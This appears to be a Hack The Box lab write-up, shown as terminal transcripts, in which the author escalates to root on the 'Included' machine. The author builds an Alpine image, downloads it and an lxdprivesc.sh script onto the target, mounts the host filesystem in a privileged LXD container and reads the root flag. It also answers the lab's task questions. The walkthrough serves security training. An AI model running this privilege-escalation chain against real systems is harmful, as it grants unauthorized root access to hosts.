tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.14.0-r2.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub: OK
Verified OK
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2617 100 2617 0 0 5262 0 --:--:-- --:--:-- --:--:-- 5286
--2023-05-23 17:53:37-- http://alpine.mirror.wearetriple.com/MIRRORS.txt
Resolving alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)... 93.187.10.106, 2a00:1f00:dc06:10::106
Connecting to alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.106|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2617 (2.6K) [text/plain]
Saving to: ‘/home/htb-bluewalle/included/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’
/home/htb-bluewalle/inc 100%[===============================>] 2.56K --.-KB/s in 0s
2023-05-23 17:53:37 (306 MB/s) - ‘/home/htb-bluewalle/included/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’ saved [2617/2617]
Selecting mirror http://mirror.kumi.systems/alpine/v3.18/main
fetch http://mirror.kumi.systems/alpine/v3.18/main/x86_64/APKINDEX.tar.gz
(1/25) Installing alpine-baselayout-data (3.4.3-r1)
(2/25) Installing musl (1.2.4-r0)
(3/25) Installing busybox (1.36.0-r9)
Executing busybox-1.36.0-r9.post-install
(4/25) Installing busybox-binsh (1.36.0-r9)
(5/25) Installing alpine-baselayout (3.4.3-r1)
Executing alpine-baselayout-3.4.3-r1.pre-install
Executing alpine-baselayout-3.4.3-r1.post-install
(6/25) Installing ifupdown-ng (0.12.1-r2)
(7/25) Installing libcap2 (2.69-r0)
(8/25) Installing openrc (0.47.1-r0)
Executing openrc-0.47.1-r0.post-install
(9/25) Installing mdev-conf (4.5-r0)
(10/25) Installing busybox-mdev-openrc (1.36.0-r9)
(11/25) Installing alpine-conf (3.16.1-r1)
(12/25) Installing alpine-keys (2.4-r1)
(13/25) Installing alpine-release (3.18.0-r0)
(14/25) Installing ca-certificates-bundle (20230506-r0)
(15/25) Installing libcrypto3 (3.1.0-r4)
(16/25) Installing libssl3 (3.1.0-r4)
(17/25) Installing ssl_client (1.36.0-r9)
(18/25) Installing zlib (1.2.13-r1)
(19/25) Installing apk-tools (2.14.0-r2)
(20/25) Installing busybox-openrc (1.36.0-r9)
(21/25) Installing busybox-suid (1.36.0-r9)
(22/25) Installing scanelf (1.3.7-r1)
(23/25) Installing musl-utils (1.2.4-r0)
(24/25) Installing libc-utils (0.7.2-r5)
(25/25) Installing alpine-base (3.18.0-r0)
Executing busybox-1.36.0-r9.trigger
OK: 10 MiB in 25 packages
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ ll
total 3.6M
-rw-r--r-- 1 root root 3.6M May 23 17:53 alpine-v3.18-x86_64-20230523_1753.tar.gz
-rwxr-xr-x 1 htb-bluewalle htb-bluewalle 7.9K May 23 17:48 build-alpine
-rwxr-xr-x 1 htb-bluewalle htb-bluewalle 1.5K May 23 17:34 lxdprivesc.sh
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 5.4K May 23 16:56 revshell.php
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ mv alpine-v3.18-x86_64-20230523_1753.tar.gz alpinebuild.tar.gz
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
- Step 3: Run this script and you will get root [Victim Machine]
First, we will need to move the generated alpine file and the script over to our target. One way to achieve this is to use the http.server python module.
It is important to start the http server in the same directory where the two files are located.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
Then we use wget on our target to download these same files.
mike@included:/var/www/html$ cd /tmp/
mike@included:/tmp$ wget http://10.10.14.75:8888/alpinebuild.tar.gz
--2023-05-23 17:05:43-- http://10.10.14.75:8888/alpinebuild.tar.gz
Connecting to 10.10.14.75:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3705051 (3.5M) [application/gzip]
Saving to: ‘alpinebuild.tar.gz’
alpinebuild.tar.gz 100%[===================>] 3.53M 23.5MB/s in 0.2s
2023-05-23 17:05:43 (23.5 MB/s) - ‘alpinebuild.tar.gz’ saved [3705051/3705051]
mike@included:/tmp$ wget http://10.10.14.75:8888/lxdprivesc.sh
--2023-05-23 17:05:57-- http://10.10.14.75:8888/lxdprivesc.sh
Connecting to 10.10.14.75:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1451 (1.4K) [text/x-sh]
Saving to: ‘lxdprivesc.sh’
lxdprivesc.sh 100%[===================>] 1.42K --.-KB/s in 0s
2023-05-23 17:05:57 (70.4 MB/s) - ‘lxdprivesc.sh’ saved [1451/1451]
mike@included:/tmp$ ll
total 3632
drwxrwxrwt 2 root root 4096 May 23 17:05 ./
drwxr-xr-x 24 root root 4096 Oct 11 2021 ../
-rw-rw-r-- 1 mike mike 3705051 May 23 16:53 alpinebuild.tar.gz
-rw-rw-r-- 1 mike mike 1451 May 23 16:34 lxdprivesc.sh
mike@included:/tmp$
Finally, we run the script.
mike@included:/tmp$ chmod a+x lxdprivesc.sh
mike@included:/tmp$ ll
total 3632
drwxrwxrwt 2 root root 4096 May 23 17:10 ./
drwxr-xr-x 24 root root 4096 Oct 11 2021 ../
-rw-rw-r-- 1 mike mike 3705051 May 23 16:53 alpinebuild.tar.gz
-rwxrwxr-x 1 mike mike 1451 May 23 16:34 lxdprivesc.sh*
mike@included:/tmp$ ./lxdprivesc.sh -f alpinebuild.tar.gz
[*] Listing images...
+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| alpine | c3c843ed2546 | no | alpine v3.18 (20230523_17:53) | x86_64 | 3.53MB | May 23, 2023 at 5:11pm (UTC) |
+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
Creating privesc
Device giveMeRoot added to privesc
~ #
Moving on to the last step.
- Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine
~ # cd /mnt/root
/mnt/root # ls -hla
total 100K
drwxr-xr-x 24 root root 4.0K Oct 11 2021 .
drwxr-xr-x 3 root root 4.0K May 23 17:11 ..
drwxr-xr-x 2 root root 4.0K Jul 26 2021 bin
drwxr-xr-x 3 root root 4.0K Oct 11 2021 boot
drwxr-xr-x 2 root root 4.0K Apr 23 2021 cdrom
drwxr-xr-x 17 root root 3.8K May 23 14:01 dev
drwxr-xr-x 98 root root 4.0K Jul 26 2021 etc
drwxr-xr-x 3 root root 4.0K Mar 5 2020 home
lrwxrwxrwx 1 root root 34 Jul 26 2021 initrd.img -> boot/initrd.img-4.15.0-151-generic
lrwxrwxrwx 1 root root 34 Oct 11 2021 initrd.img.old -> boot/initrd.img-4.15.0-151-generic
drwxr-xr-x 21 root root 4.0K Jul 26 2021 lib
drwxr-xr-x 2 root root 4.0K Jul 26 2021 lib64
drwx------ 2 root root 16.0K Mar 5 2020 lost+found
drwxr-xr-x 2 root root 4.0K Apr 23 2021 media
drwxr-xr-x 2 root root 4.0K Aug 5 2019 mnt
drwxr-xr-x 2 root root 4.0K Apr 23 2021 opt
dr-xr-xr-x 149 root root 0 May 23 14:01 proc
drwx------ 7 root root 4.0K Apr 23 2021 root
drwxr-xr-x 26 root root 920 May 23 17:11 run
drwxr-xr-x 2 root root 12.0K Jul 26 2021 sbin
drwxr-xr-x 4 root root 4.0K Apr 23 2021 snap
drwxr-xr-x 2 root root 4.0K Apr 23 2021 srv
dr-xr-xr-x 13 root root 0 May 23 16:12 sys
drwxrwxrwt 11 root root 4.0K May 23 17:11 tmp
drwxr-xr-x 11 root root 4.0K Jul 26 2021 usr
drwxr-xr-x 14 root root 4.0K Apr 23 2021 var
lrwxrwxrwx 1 root root 31 Jul 26 2021 vmlinuz -> boot/vmlinuz-4.15.0-151-generic
lrwxrwxrwx 1 root root 31 Oct 11 2021 vmlinuz.old -> boot/vmlinuz-4.15.0-151-generic
/mnt/root #
Since we are already here, how about grabbing the root flag?
/mnt/root # cd root/
/mnt/root/root # ls -hlag
total 40K
drwx------ 7 root 4.0K Apr 23 2021 .
drwxr-xr-x 24 root 4.0K Oct 11 2021 ..
lrwxrwxrwx 1 root 9 Mar 11 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root 3.0K Apr 9 2018 .bashrc
drwx------ 2 root 4.0K Apr 23 2021 .cache
drwxr-x--- 3 root 4.0K Mar 11 2020 .config
drwx------ 3 root 4.0K Apr 23 2021 .gnupg
drwxr-xr-x 3 root 4.0K Mar 5 2020 .local
-rw-r--r-- 1 root 148 Aug 17 2015 .profile
drwx------ 2 root 4.0K Apr 23 2021 .ssh
-r-------- 1 root 33 Mar 9 2020 root.txt
/mnt/root/root # cat root.txt
<flag>
/mnt/root/root #
alpine
TASK 7
Question: What flag do we set to the container so that it has root privileges on the host system?
Well, since we went and used the exploit we found, the answer here may not seem so trivial. But as always, a thorough internet research simply get’s the job done.
security.privileged=true
TASK 8
Question: If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?
See Step 4 from TASK7.
/mnt/root/
SUBMIT FLAG
Question: Submit user flag
It was already acquired during TASK5.
flag
SUBMIT FLAG
Question: Submit root flag
Similar to the user flag, the root flag was already grabbed during TASK6.
flag
Congratulations, we just successfully pwned the target machine. All we have left to do now is to terminate the target box (if not terminated automatically) before we continue with the next box!